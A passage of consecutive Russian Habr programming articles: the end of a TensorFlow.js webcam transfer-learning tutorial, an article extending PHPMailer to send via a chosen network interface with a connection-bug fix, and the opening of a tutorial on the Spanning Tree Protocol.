inputs: pretrainedModel.inputs,
outputs: newOutput
});
model.compile({
optimizer: tf.train.adam(0.0001),
loss: 'categoricalCrossentropy'
});
setModel(model);
}
}, [pretrainedModel]);
return model;
}
```
Осталось лишь добавить UX элементы, позволяющие пользователю задать выборки для трех типов изображений, предоставить кнопку, инициализирующей процесс обучения:
```
function App() {
// skipped for brevity
const train = async () => {
if (model
&& controllerDataset.current.xs !== null
&& controllerDataset.current.ys !== null) {
const {current: {xs, ys}} = controllerDataset;
model.fit(xs, ys, {
batchSize: 24,
epochs: 20,
shuffle: true,
callbacks: {
onBatchEnd: async (batch, logs) => {
setLoss(() => (logs?.loss as number).toFixed(5));
},
onTrainEnd: () => {
changeTrainingState(() => TRAINING_STATES.TRAINED);
}
}
});
}
};
return (
{/\* skipped for brevity\*/}
{
if (trainingState !== TRAINING\_STATES.TRAINING) {
changeTrainingState(() => TRAINING\_STATES.TRAINING);
train();
}
}}>
Train
);
}
```
После того, как процесс обучения будет закончить, необходимо запустит процесс использования этой модели для классификации изображений:
```
const predict = async () => {
if (webcamIterator && model) {
const image = await webcamIterator.capture();
const processedImage = tf.tidy(
() => image.expandDims().toFloat().div(127).sub(1)
);
const label =
tf.argMax(model.predict(processedImage) as Tensor, 1)
.dataSync();
setActiveLabel(() => label[0]);
image.dispose();
processedImage.dispose();
requestAnimationFrame(() => predict());
}
};
useEffect(() => {
if (trainingState === TRAINING\_STATES.TRAINED) {
requestAnimationFrame(() => predict());
}
}, [trainingState]);
```
Полный код React-component
```
import React, {useEffect, useRef, useState} from 'react';
import useUploadModel from './hook/useUploadModel';
import useWebcamIterator from './hook/useWebcamIterator';
import WorkingArea from './components/WorkingArea';
import useNewModelTopology from './hook/useNewModelTopology';
import ControllerDataset from './service/ControllerDataset';
import * as tf from '@tensorflow/tfjs';
import {Tensor4D, Tensor} from '@tensorflow/tfjs';
import {Container, Button, Grid, Box, TextField} from '@material-ui/core';
const NUM_CLASSES = 3;
enum TRAINING_STATES {
NOT_TRAINED,
TRAINING,
TRAINED
}
function App() {
const uploadedModel = useUploadModel();
const model = useNewModelTopology(uploadedModel, NUM_CLASSES);
const {videoRef, webcamIterator} = useWebcamIterator();
const [loss, setLoss] = useState(null);
const controllerDataset =
useRef(new ControllerDataset(NUM\_CLASSES));
const [trainingState, changeTrainingState] =
useState(TRAINING\_STATES.NOT\_TRAINED);
const [activeLabel, setActiveLabel] = useState();
const train = async () => {
if (model
&& controllerDataset.current.xs !== null
&& controllerDataset.current.ys !== null) {
const {current: {xs, ys}} = controllerDataset;
model.fit(xs, ys, {
batchSize: 24,
epochs: 20,
shuffle: true,
callbacks: {
onBatchEnd: async (batch, logs) => {
setLoss(() => (logs?.loss as number).toFixed(5));
},
onTrainEnd: () => {
changeTrainingState(
() => TRAINING\_STATES.TRAINED
);
}
}
});
}
};
const predict = async () => {
if (webcamIterator && model) {
const image = await webcamIterator.capture();
const processedImage = tf.tidy(
() => image.expandDims().toFloat().div(127).sub(1)
);
const label =
tf.argMax(model.predict(processedImage) as Tensor, 1)
.dataSync();
setActiveLabel(() => label[0]);
image.dispose();
processedImage.dispose();
requestAnimationFrame(() => predict());
}
};
useEffect(() => {
if (trainingState === TRAINING\_STATES.TRAINED) {
requestAnimationFrame(() => predict());
}
}, [trainingState]);
return (
<>
{
if (trainingState !== TRAINING\_STATES.TRAINING) {
changeTrainingState(
() => TRAINING\_STATES.TRAINING
);
train();
}
}}>
Train
{loss && Loss: {loss}}
);
}
```
Весь код вы можете изучить в [репозитории](https://github.com/vladimirtopolev/05-tensorflow-transfer-learning-rock-paper-scissor)
Также вы можете изучить следующие статьи:
1. [TensorFlow.js: Использование Low-Level API для аппроксимации линейной функции](https://habr.com/ru/post/513172/)
2. [Машинное обучение. Нейронные сети (часть 1): Процесс обучения персептрона](https://habr.com/ru/post/516458/)
3. [Машинное обучение. Нейронные сети (часть 2): Моделирование OR; XOR с помощь TensorFlow.js](https://habr.com/ru/post/516572/)
4. [Машинное обучение. Нейронные сети (часть 3): Convolutional Network под микроскопом. Изучение АПИ TensorFlow.js](https://habr.com/ru/post/518766/)
5. [TensorFlowJS: использование обученных моделей без их модификаций а браузере](https://habr.com/ru/post/523956/) | https://habr.com/ru/post/526786/ | null | ru | null |
# Расширяем возможности PHPMailer
Добрый день!
Наверное все, кому приходилось отправлять почту из кода на PHP через SMTP, знакомы с классом [PHPMailer](http://code.google.com/a/apache-extras.org/p/phpmailer/).
В статье я расскажу о том, как можно в несколько строк кода научить PHPMailer принимать в качестве дополнительного параметра IP адрес сетевого интерфейса, с которого мы хотим осуществить отправку. Естественно, что эта возможность будет полезна только на серверах с несколькими белыми IP адресами. А в качестве небольшого дополнения мы отловим достаточно неприятного жучка из кода PHPMailer`а.
#### Обзор архитектуры PHPMailer
Пакет PHPMailer состоит из одноименного фронтэнда (класс PHPMailer) и нескольких классов-плагинов, реализующих возможность отправки почты по протоколу SMTP, в том числе и с предварительной аутентификацией по POP3.
Фронтэнд PHPMailer предоставляет поля и методы по установке параметров письма (localhost, return-path, AddAdress(), body, from и пр.), выбору способа отправки и способа аутентификации (SMTPSecure, SMTPAuth, IsMail(), IsSendMail(), IsSMTP() и пр.), а также метод Send().
Установив параметры письма и указав способ отправки (возможно выбрать из следующих: mail, sendmail, qmail или smtp), необходимо вызвать метод класса PHPMailer Send(), который, в свою очередь, делегирует вызов внутреннему методу, отвечающему за отправку почты тем или иным способом. Так как нас интересует именно SMTP, то далее в основном мы будем рассматривать плагин SMTP из файла class.smtp.php.
При использовании метода PHPMailer::IsSMTP() метод PHPMailer::Send() вызовет защищенный метод PHPMailer::SmtpSend($header, $body), передав ему сформированные заголовки и тело письма.
Метод PHPMailer::SmtpSend() попытается подключиться к удаленному SMTP-серверу получателя (если это уже не первая отправка письма объектом PHPMailer, то скорее всего соединение уже было установлено и этот шаг будет пропущен) и инициировать с ним стандартную SMTP-сессию (HELLO/EHLO, MAIL TO, RCPT, DATA и т.д.).
Соединение с SMTP-сервером происходит в публичном методе PHPMailer::SmtpConnect(). Так как для одного домена может быть сразу несколько MX-записей с различными приоритетами, то метод PHPMailer::SmtpConnect() попытается последовательно соединиться с каждым из SMTP-серверов, указанных при конфигурировании PHPMailer.
#### Жучок в коде
А теперь внимательно посмотрим на код PHPMailer::SmtpConnect():
```
/**
* Initiates a connection to an SMTP server.
* Returns false if the operation failed.
* @uses SMTP
* @access public
* @return bool
*/
public function SmtpConnect()
{
if(is_null($this->smtp)) {
$this->smtp = new SMTP();
}
$this->smtp->do_debug = $this->SMTPDebug;
$hosts = explode(';', $this->Host);
$index = 0;
$connection = $this->smtp->Connected();
// Retry while there is no connection
try {
while($index < count($hosts) && !$connection) {
$hostinfo = array();
if (preg_match('/^(.+):([0-9]+)$/', $hosts[$index], $hostinfo)) {
$host = $hostinfo[1];
$port = $hostinfo[2];
} else {
$host = $hosts[$index];
$port = $this->Port;
}
$tls = ($this->SMTPSecure == 'tls');
$ssl = ($this->SMTPSecure == 'ssl');
if ($this->smtp->Connect(($ssl ? 'ssl://':'').$host, $port, $this->Timeout)) {
$hello = ($this->Helo != '' ? $this->Helo : $this->ServerHostname());
$this->smtp->Hello($hello);
if ($tls) {
if (!$this->smtp->StartTLS()) {
throw new phpmailerException($this->Lang('tls'));
}
//We must resend HELO after tls negotiation
$this->smtp->Hello($hello);
}
$connection = true;
if ($this->SMTPAuth) {
if (!$this->smtp->Authenticate($this->Username, $this->Password)) {
throw new phpmailerException($this->Lang('authenticate'));
}
}
}
$index++;
if (!$connection) {
throw new phpmailerException($this->Lang('connect_host'));
}
}
} catch (phpmailerException $e) {
$this->smtp->Reset();
if ($this->exceptions) {
throw $e;
}
}
return true;
}
```
В коде $this->smtp — это объект класса-плагина SMTP.
Постараемся разобраться, что же авторы имели в виду. Для начала выполняется проверка, создан ли внутренний объект, умеющий работать с SMTP и выполняется его создание, если это первый вызов метода SmtpConnect() объекта класса PHPMailer (на самом деле еще метод PHPMailer::Close() может превратить $this->smtp в null).
Затем поле PHPMailer::Host разбивается по разделителю ';' и в итоге получается массив MX-записей для домена получателя. Если в Host была всего одна запись (например, 'smtp.yandex.ru'), то в массиве будет всего один элемент.
Далее выполняется проверка, а не подключены ли мы уже к серверу получателя. Если это первый вызов SmtpConnect(), то очевидно, что $connection будет false.
Вот мы и добрались до самого интересного. Начинается цикл по всем MX-записям, в каждой итерации которого производится попытка подключения к очередному MX. Но что будет, если выполнить в голове алгоритм этого цикла, представив, что для первой MX-записи if ($this->smtp->Connect(($ssl? 'ssl://':'').$host, $port, $this->Timeout)) вернула false? Окажется, что цикл бросит исключение, которое будет перехвачено уже за циклом. Т.е. все остальные MX-записи не будут проверены на доступность и мы поймаем исключение.
Но это еще не самое неприятное. PHPMailer умеет работать в двух режимах — бросать исключения, либо же тихо умирать с записью сообщения об ошибке в поле ErrorInfo. Так вот в случае использования тихого режима ($this->exceptions == false, причем это режим по умолчанию) SmtpConnect() вернет true!
В общем этот баг отнял у меня некоторое время, разработчики о нем [оповещены](http://code.google.com/a/apache-extras.org/p/phpmailer/issues/detail?id=41). Я его заметил в версии 5.2.1, но и более старые версии ведут себя так же.
Прежде чем двигаться дальше, представлю свой быстрый фикс. До выхода официального исправления от разработчиков живу с ним. Уже месяц полет нормальный.
```
public function SmtpConnect()
{
if(is_null($this->smtp)) {
$this->smtp = new SMTP();
}
$this->smtp->do_debug = $this->SMTPDebug;
$hosts = explode(';', $this->Host);
$index = 0;
$connection = $this->smtp->Connected();
// Retry while there is no connection
try {
while($index < count($hosts) && !$connection) {
$hostinfo = array();
if (preg_match('/^(.+):([0-9]+)$/', $hosts[$index], $hostinfo)) {
$host = $hostinfo[1];
$port = $hostinfo[2];
} else {
$host = $hosts[$index];
$port = $this->Port;
}
$tls = ($this->SMTPSecure == 'tls');
$ssl = ($this->SMTPSecure == 'ssl');
$bRetVal = $this->smtp->Connect(($ssl ? 'ssl://':'').$host, $port, $this->Timeout);
if ($bRetVal) {
$hello = ($this->Helo != '' ? $this->Helo : $this->ServerHostname());
$this->smtp->Hello($hello);
if ($tls) {
if (!$this->smtp->StartTLS()) {
throw new phpmailerException($this->Lang('tls'));
}
//We must resend HELO after tls negotiation
$this->smtp->Hello($hello);
}
if ($this->SMTPAuth) {
if (!$this->smtp->Authenticate($this->Username, $this->Password)) {
throw new phpmailerException($this->Lang('authenticate'));
}
}
$connection = true;
break;
}
$index++;
}
if (!$connection) {
throw new phpmailerException($this->Lang('connect_host'));
}
} catch (phpmailerException $e) {
$this->SetError($e->getMessage());
if ($this->smtp->Connected())
$this->smtp->Reset();
if ($this->exceptions) {
throw $e;
}
return false;
}
return true;
}
```
#### Расширяем PHPMailer для работы с несколькими сетевыми интерфейсами
Плагин SMTP PHPMailer`а работает с сетью через fsockopen, fputs и fgets. Если на нашей машине несколько сетевых интерфейсов, смотрящих в Интернет, fsockopen в любом случае создаст сокет на первом соединении. Нам же необходимо уметь создавать на любом.
Первая мысль, которая пришла в голову — это использовать стандартную связку классических сокетов socket\_create, socket\_bind, socket\_connect, которая в socket\_bind позволяет указать с каким сетевым интерфейсом связать сокет, указав его IP адрес. Как оказалось, мысль не совсем удачная. В результате пришлось переписать практически весь плагин PHPMailer`а SMTP, заменив в нем fputs и fgets на socket\_read и socket\_write, потому что fputs и fgets не умеют работать с ресурсом, созданным socket\_create. Заработало, но на душе остался осадок.
Следующая мысль оказалась удачнее. Существует же функция stream\_socket\_client, создающая потоковый сокет, который можно благополучно читать fgets`ом! В результате, заменив всего один метод в плагине SMTP, можно научить PHPMailer отсылать почту с явным указанием сетевого интерфейса, и при этом практически не трогать код разработчиков.
Наш плагин выглядит следующим образом:
```
require_once 'class.smtp.php';
class SMTPX extends SMTP
{
public function __construct()
{
parent::__construct();
}
public function Connect($host, $port = 0, $tval = 30, $local_ip)
{
// set the error val to null so there is no confusion
$this->error = null;
// make sure we are __not__ connected
if($this->connected()) {
// already connected, generate error
$this->error = array("error" => "Already connected to a server");
return false;
}
if(empty($port)) {
$port = $this->SMTP_PORT;
}
$opts = array(
'socket' => array(
'bindto' => "$local_ip:0",
),
);
// create the context...
$context = stream_context_create($opts);
// connect to the smtp server
$this->smtp_conn = @stream_socket_client($host.':'.$port,
$errno,
$errstr,
$tval, // give up after ? secs
STREAM_CLIENT_CONNECT,
$context);
// verify we connected properly
if(empty($this->smtp_conn)) {
$this->error = array("error" => "Failed to connect to server",
"errno" => $errno,
"errstr" => $errstr);
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] . ": $errstr ($errno)" . $this->CRLF . '
';
}
return false;
}
// SMTP server can take longer to respond, give longer timeout for first read
// Windows does not have support for this timeout function
if(substr(PHP_OS, 0, 3) != "WIN")
socket_set_timeout($this->smtp_conn, $tval, 0);
// get any announcement
$announce = $this->get_lines();
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $announce . $this->CRLF . '
';
}
return true;
}
}
```
На самом деле реализация метода Connect() тоже изменилась минимально. Заменены лишь строки, создающие непосредственно сокет и в сигнатуру добавлен еще одни параметр — IP адрес сетевого интерфейса.
Чтобы использовать этот плагин, нужно расширить класс PHPMailer следующим образом:
```
require_once 'class.phpmailer.php';
class MultipleInterfaceMailer extends PHPMailer
{
/**
* IP адрес сетевого интерфейса, с которого нужно
* подключаться к удаленному SMTP-серверу.
* Используется при работе через плагин SMTPX.
* @var string
*/
public $Ip = '';
public function __construct($exceptions = false)
{
parent::__construct($exceptions);
}
/**
* Метод для работы с плагином SMTPX.
* @param string $ip IP адрес сетевого интерфейса с доступом в Интернет.
*/
public function IsSMTPX($ip = '') {
if ('' !== $ip)
$this->Ip = $ip;
$this->Mailer = 'smtpx';
}
protected function PostSend()
{
if ('smtpx' == $this->Mailer) {
$this->SmtpSend($this->MIMEHeader, $this->MIMEBody);
return;
}
parent::PostSend();
}
/**
* Внесены изменения, касающиеся отправки писем с явным указанием
* IP адреса сетевого интерфейса компьютера.
* @param string $header The message headers
* @param string $body The message body
* @uses SMTP
* @access protected
* @return bool
*/
protected function SmtpSend($header, $body)
{
require_once $this->PluginDir . 'class.smtpx.php';
$bad_rcpt = array();
if(!$this->SmtpConnect()) {
throw new phpmailerException($this->Lang('connect_host'), self::STOP_CRITICAL);
}
$smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
if(!$this->smtp->Mail($smtp_from)) {
throw new phpmailerException($this->Lang('from_failed') . $smtp_from, self::STOP_CRITICAL);
}
// Attempt to send attach all recipients
foreach($this->to as $to) {
if (!$this->smtp->Recipient($to[0])) {
$bad_rcpt[] = $to[0];
// implement call back function if it exists
$isSent = 0;
$this->doCallback($isSent, $to[0], '', '', $this->Subject, $body);
} else {
// implement call back function if it exists
$isSent = 1;
$this->doCallback($isSent, $to[0], '', '', $this->Subject, $body);
}
}
foreach($this->cc as $cc) {
if (!$this->smtp->Recipient($cc[0])) {
$bad_rcpt[] = $cc[0];
// implement call back function if it exists
$isSent = 0;
$this->doCallback($isSent, '', $cc[0], '', $this->Subject, $body);
} else {
// implement call back function if it exists
$isSent = 1;
$this->doCallback($isSent, '', $cc[0], '', $this->Subject, $body);
}
}
foreach($this->bcc as $bcc) {
if (!$this->smtp->Recipient($bcc[0])) {
$bad_rcpt[] = $bcc[0];
// implement call back function if it exists
$isSent = 0;
$this->doCallback($isSent, '', '', $bcc[0], $this->Subject, $body);
} else {
// implement call back function if it exists
$isSent = 1;
$this->doCallback($isSent, '', '', $bcc[0], $this->Subject, $body);
}
}
if (count($bad_rcpt) > 0 ) { //Create error message for any bad addresses
$badaddresses = implode(', ', $bad_rcpt);
throw new phpmailerException($this->Lang('recipients_failed') . $badaddresses);
}
if(!$this->smtp->Data($header . $body)) {
throw new phpmailerException($this->Lang('data_not_accepted'), self::STOP_CRITICAL);
}
if($this->SMTPKeepAlive == true) {
$this->smtp->Reset();
}
return true;
}
/**
* Внесены изменения, расширяющие класс PHPMailer для
* работы с плагином SMTPX.
* @uses SMTP
* @access public
* @return bool
*/
public function SmtpConnect() {
if(is_null($this->smtp) || !($this->smtp instanceof SMTPX)) {
$this->smtp = new SMTPX();
}
$this->smtp->do_debug = $this->SMTPDebug;
$hosts = explode(';', $this->Host);
$index = 0;
$connection = $this->smtp->Connected();
// Retry while there is no connection
try {
while($index < count($hosts) && !$connection) {
$hostinfo = array();
if (preg_match('/^(.+):([0-9]+)$/', $hosts[$index], $hostinfo)) {
$host = $hostinfo[1];
$port = $hostinfo[2];
} else {
$host = $hosts[$index];
$port = $this->Port;
}
$tls = ($this->SMTPSecure == 'tls');
$ssl = ($this->SMTPSecure == 'ssl');
$bRetVal = $this->smtp->Connect(($ssl ? 'ssl://':'').$host, $port, $this->Timeout, $this->Ip);
if ($bRetVal) {
$hello = ($this->Helo != '' ? $this->Helo : $this->ServerHostname());
$this->smtp->Hello($hello);
if ($tls) {
if (!$this->smtp->StartTLS()) {
throw new phpmailerException($this->Lang('tls'));
}
//We must resend HELO after tls negotiation
$this->smtp->Hello($hello);
}
if ($this->SMTPAuth) {
if (!$this->smtp->Authenticate($this->Username, $this->Password)) {
throw new phpmailerException($this->Lang('authenticate'));
}
}
$connection = true;
break;
}
$index++;
}
if (!$connection) {
throw new phpmailerException($this->Lang('connect_host'));
}
} catch (phpmailerException $e) {
$this->SetError($e->getMessage());
if ($this->smtp->Connected())
$this->smtp->Reset();
if ($this->exceptions) {
throw $e;
}
return false;
}
return true;
}
}
```
В класс MultipleInterfaceMailer добавлено новое открытое поле Ip, которое должно быть установлено строковым представлением IP адреса сетевого интерфейса, с которого мы хотим отправлять почту. Также добавлен метод IsSMTPX(), указывающий, что письма нужно отправлять с использованием нового плагина. Методы PostSend(), SmtpSend() и SmtpConnect() также переделаны для использования плагина SMTPX. При этом объекты класса MultipleInterfaceMailer можно спокойно использовать с существующим клиентским кодом, который, например, отправляет почту через sendmail или через оригинальный плагин SMTP, так как ни процедура использования, ни интерфейс класса не изменились.
Далее небольшой пример использования нового класса:
```
function getSmtpHostsByDomain($sRcptDomain)
{
if (getmxrr($sRcptDomain, $aMxRecords, $aMxWeights)) {
if (count($aMxRecords) > 0) {
for ($i = 0; $i < count($aMxRecords); ++$i) {
$mxs[$aMxRecords[$i]] = $aMxWeights[$i];
}
asort($mxs);
$aSortedMxRecords = array_keys($mxs);
$sResult = '';
foreach ($aSortedMxRecords as $r) {
$sResult .= $r . ';';
}
return $sResult;
}
}
//Функция getmxrr возвращает только почтовые сервера, найденные в DNS,
//однако, согласно RFC 2821, когда в списке нет почтовых серверов,
//необходимо использовать только $sRcptDomain в качестве почтового сервера с
//приоритетом 0.
return $sRcptDomain;
}
require 'MultipleInterfaceMailer.php';
$mailer = new MultipleInterfaceMailer(true);
$mailer->IsSMTPX('192.168.1.1'); //Здесь необходимо указать IP адрес желаемого интерфейса
//$mailer->IsSMTP(); а можно и по старинке
$mailer->Host = getSmtpHostsByDomain('email.net');
$mailer->Body = 'blah-blah';
$mailer->From ='no-replay@yourdomain.net';
$mailer->AddAddress('sucreface@email.net');
$mailer->Send();
```
#### Заключение
Подведем краткий итог:
1. Исправлен баг в PHPMailer, из-за которого SmtpConnect() всегда возвращал true, даже в случае неудачной попытки подключения к SMTP-серверу.
2. SmtpConnect() стал по-честному проверять все переданные ему MX-записи до первой удачной попытки.
3. Написан новый плагин, с помощью которого можно отправлять почту через SMTP явно указывая какой сетевой интерфейс отправляющего сервера использовать.
4. PHPMailer безболезненно для старого клиентского кода расширен для использования нового плагина SMTPX.
Удачи в ваших начинаниях, друзья! | https://habr.com/ru/post/138878/ | null | ru | null |
# Сети для самых маленьких. Часть четвертая. STP
*I think that I shall never see
A graph more lovely than a tree.
A tree whose crucial propertyеу
Is loop-free connectivity.
A tree that must be sure to span
So packets can reach every LAN.
First, the root must be selected.
By ID, it is elected.
Least-cost paths from root are traced.
In the tree, these paths are placed.
A mesh is made by folks like me,
Then bridges find a spanning tree.*
— Radia Joy Perlman
Все выпуски
-----------
[6. Сети для самых маленьких. Часть шестая. Динамическая маршрутизация](http://linkmeup.ru/blog/33.html)
[5. Сети для самых маленьких: Часть пятая. NAT и ACL](http://linkmeup.ru/blog/16.html)
[4. Сети для самых маленьких: Часть четвёртая. STP](http://linkmeup.ru/blog/15.html)
[3. Сети для самых маленьких: Часть третья. Статическая маршрутизация](http://linkmeup.ru/blog/14.html)
[2. Сети для самых маленьких. Часть вторая. Коммутация](http://linkmeup.ru/blog/13.html)
[1. Сети для самых маленьких. Часть первая. Подключение к оборудованию cisco](http://linkmeup.ru/blog/12.html)
[0. Сети для самых маленьких. Часть нулевая. Планирование](http://linkmeup.ru/blog/11.html)
В [прошлом выпуске](http://habrahabr.ru/post/140552/) мы остановились на статической маршрутизации. Теперь надо сделать шаг в сторону и обсудить вопрос стабильности нашей сети.
Однажды, когда вы — единственный сетевой админ фирмы “Лифт ми Ап” — отпросились на полдня раньше, вдруг упала связь с серверами, и директора не получили несколько важных писем. После короткой, но ощутимой взбучки вы идёте разбираться, в чём дело, а оказалось, по чьей-то неосторожности выпал из разъёма единственный кабель, ведущий к коммутатору в серверной. Небольшая проблема, которую вы могли исправить за две минуты, и даже вообще избежать, существенно сказалась на вашем доходе в этом месяце и возможностях роста.
Итак, сегодня обсуждаем:
* проблему широковещательного шторма
* работу и настройку протокола STP и его модификаций (RSTP, MSTP, PVST, PVST+)
* технологию агрегации интерфейсов и перераспределения нагрузки между ними
* некоторые вопросы стабильности и безопасности
* как изменить схему существующей сети, чтобы всем было хорошо
Оборудование, работающее на втором уровне модели OSI (коммутатор), должно выполнять 3 функции: запоминание адресов, перенаправление (коммутация) пакетов, защита от петель в сети. Разберем по пунктам каждую функцию.
*Запоминание адресов и перенаправление пакетов*: Как мы уже говорили [ранее](http://habrahabr.ru/post/138043/), у каждого свича есть таблица сопоставления MAC-адресов и портов (aka CAM-table — Content Addressable Memory Table). Когда устройство, подключенное к свичу, посылает кадр в сеть, свич смотрит MAC-адрес отправителя и порт, откуда получен кадр, и добавляет эту информацию в свою таблицу. Далее он должен передать кадр получателю, адрес которого указан в кадре. По идее, информацию о порте, куда нужно отправить кадр, он берёт из этой же CAM-таблицы. Но, предположим, что свич только что включили (таблица пуста), и он понятия не имеет, в какой из его портов подключен получатель. В этом случае он отправляет полученный кадр во все свои порты, кроме того, откуда он был принят. Все конечные устройства, получив этот кадр, смотрят MAC-адрес получателя, и, если он адресован не им, отбрасывают его. Устройство-получатель отвечает отправителю, а в поле отправителя ставит свой адрес, и вот свич уже знает, что такой-то адрес находится на таком-то порту (вносит запись в таблицу), и в следующий раз уже будет переправлять кадры, адресованные этому устройству, только в этот порт. Чтобы посмотреть содержимое CAM-таблицы, используется команда **show mac address-table**. Однажды попав в таблицу, информация не остаётся там пожизненно, содержимое постоянно обновляется и если к определенному mac-адресу не обращались 300 секунд (по умолчанию), запись о нем удаляется.
Тут всё должно быть понятно. Но зачем *защита от петель*? И что это вообще такое?
Широковещательный шторм
-----------------------
Часто, для обеспечения стабильности работы сети в случае проблем со связью между свичами (выход порта из строя, обрыв провода), используют избыточные линки (redundant links) — дополнительные соединения. Идея простая — если между свичами по какой-то причине не работает один линк, используем запасной. Вроде все правильно, но представим себе такую ситуацию: два свича соединены двумя проводами (пусть будет, что у них соединены fa0/1 и fa0/24).
Одной из их подопечных — рабочих станций (например, ПК1) вдруг приспичило послать широковещательный кадр (например, ARP-запрос). Раз широковещательный, шлем во все порты, кроме того, с которого получили.
Второй свич получает кадр в два порта, видит, что он широковещательный, и тоже шлет во все порты, но уже, получается, и обратно в те, с которых получил (кадр из fa0/24 шлет в fa0/1, и наоборот).
Первый свич поступает точно также, и в итоге мы получаем широковещательный шторм (broadcast storm), который намертво блокирует работу сети, ведь свичи теперь только и занимаются тем, что шлют друг другу один и тот же кадр.
Как можно избежать этого? Ведь мы, с одной стороны, не хотим штормов в сети, а с другой, хотим повысить ее отказоустойчивость с помощью избыточных соединений? Тут на помощь нам приходит STP (Spanning Tree Protocol)
STP
---
Основная задача STP — предотвратить появление петель на втором уровне. Как это сделать? Да просто отрубить все избыточные линки, пока они нам не понадобятся. Тут уже сразу возникает много вопросов: какой линк из двух (или трех-четырех) отрубить? Как определить, что основной линк упал, и пора включать запасной? Как понять, что в сети образовалась петля? Чтобы ответить на эти вопросы, нужно разобраться, как работает STP.
STP использует алгоритм STA (Spanning Tree Algorithm), результатом работы которого является граф в виде дерева (связный и без [простых циклов](http://ru.wikipedia.org/wiki/Граф_%28математика%29))
Для обмена информацией между собой свичи используют специальные пакеты, так называемые BPDU (Bridge Protocol Data Units). BPDU бывают двух видов: конфигурационные (Configuration BPDU) и панические “ААА, топология поменялась!” TCN (Topology Change Notification BPDU). Первые регулярно рассылаются корневым свичом (и ретранслируются остальными) и используются для построения топологии, вторые, как понятно из названия, отсылаются в случае изменения топологии сети (проще говоря, подключении\отключении свича). Конфигурационные BPDU содержат несколько полей, остановимся на самых важных:
* идентификатор отправителя (Bridge ID)
* идентификатор корневого свича (Root Bridge ID)
* идентификатор порта, из которого отправлен данный пакет (Port ID)
* стоимость маршрута до корневого свича (Root Path Cost)
Что все это такое и зачем оно нужно, объясню чуть ниже. Так как устройства не знают и не хотят знать своих соседей, никаких отношений (смежности/соседства) они друг с другом не устанавливают. Они шлют BPDU из всех работающих портов на мультикастовый ethernet-адрес **01-80-c2-00-00-00** (по умолчанию каждые 2 секунды), который прослушивают все свичи с включенным STP.
Итак, как же формируется топология без петель?
Сначала выбирается так называемый корневой мост/свич (root bridge). Это устройство, которое STP считает точкой отсчета, центром сети; все дерево STP сходится к нему. Выбор базируется на таком понятии, как идентификатор свича (Bridge ID). Bridge ID это число длиной 8 байт, которое состоит из Bridge Priority (приоритет, от 0 до 65535, по умолчанию 32768+номер vlan или инстанс MSTP, в зависимости от реализации протокола), и MAC-адреса устройства. В начале выборов каждый коммутатор считает себя корневым, о чем и заявляет всем остальным с помощью BPDU, в котором представляет свой идентификатор как ID корневого свича. При этом, если он получает BPDU с меньшим Bridge ID, он перестает хвастаться своим и покорно начинает анонсировать полученный Bridge ID в качестве корневого. В итоге, корневым оказывается тот свич, чей Bridge ID меньше всех.
> Такой подход таит в себе довольно серьезную проблему. Дело в том, что, при равных значениях Priority (а они равные, если не менять ничего) корневым выбирается самый старый свич, так как мак адреса прописываются на производстве последовательно, соответственно, чем мак меньше, тем устройство старше (естественно, если у нас все оборудование одного вендора). Понятное дело, это ведет к падению производительности сети, так как старое устройство, как правило, имеет худшие характеристики. Подобное поведение протокола следует пресекать, выставляя значение приоритета на желаемом корневом свиче вручную, об этом в практической части.
>
>
#### Роли портов
После того, как коммутаторы померились айдями и выбрали root bridge, каждый из остальных свичей должен найти один, и только один порт, который будет вести к корневому свичу. Такой порт называется **корневым портом (Root port)**. Чтобы понять, какой порт лучше использовать, каждый некорневой свич определяет стоимость маршрута от каждого своего порта до корневого свича. Эта стоимость определяется суммой стоимостей всех линков, которые нужно пройти кадру, чтобы дойти до корневого свича. В свою очередь, стоимость линка определяется просто- по его скорости (чем выше скорость, тем меньше стоимость). Процесс определения стоимости маршрута связан с полем BPDU “Root Path Cost” и происходит так:
1. Корневой свич посылает BPDU с полем Root Path Cost, равным нулю
2. Ближайший свич смотрит на скорость своего порта, куда BPDU пришел, и добавляет стоимость согласно таблице
| | |
| --- | --- |
| Скорость порта | Стоимость STP (802.1d) |
| 10 Mbps | 100 |
| 100 Mbps | 19 |
| 1 Gbps | 4 |
| 10 Gbps | 2 |
3. Далее этот второй свич посылает этот BPDU нижестоящим коммутаторам, но уже с новым значением Root Path Cost, и далее по цепочке вниз
Если имеют место одинаковые стоимости (как в нашем примере с двумя свичами и двумя проводами между ними — у каждого пути будет стоимость 19) — корневым выбирается меньший порт.
Далее выбираются назначенные (**Designated**) порты. Из каждого конкретного сегмента сети должен существовать только один путь по направлению к корневому свичу, иначе это петля. В данном случае имеем в виду физический сегмент, в современных сетях без хабов это, грубо говоря, просто провод. Назначенным портом выбирается тот, который имеет лучшую стоимость в данном сегменте. У корневого свича все порты — назначенные.
И вот уже после того, как выбраны корневые и назначенные порты, оставшиеся блокируются, таким образом разрывая петлю.
\*На картинке маршрутизаторы выступают в качестве коммутаторов. В реальной жизни это можно сделать с помощью дополнительной свитчёвой платы.
#### Состояния портов
Чуть раньше мы упомянули состояние блокировки порта, теперь поговорим о том, что это значит, и о других возможных состояниях порта в STP. Итак, в обычном (802.1D) STP существует 5 различных состояний:
* блокировка (blocking): блокированный порт не шлет ничего. Это состояние предназначено, как говорилось выше, для предотвращения петель в сети. Блокированный порт, тем не менее, слушает BPDU (чтобы быть в курсе событий, это позволяет ему, когда надо, разблокироваться и начать работать)
* прослушивание (listening): порт слушает и начинает сам отправлять BPDU, кадры с данными не отправляет.
* обучение (learning): порт слушает и отправляет BPDU, а также вносит изменения в CAM- таблицу, но данные не перенаправляет.
* перенаправление\пересылка (forwarding): этот может все: и посылает\принимает BPDU, и с данными оперирует, и участвует в поддержании таблицы mac-адресов. То есть это обычное состояние рабочего порта.
* отключен (disabled): состояние administratively down, отключен командой **shutdown**. Понятное дело, ничего делать не может вообще, пока вручную не включат.
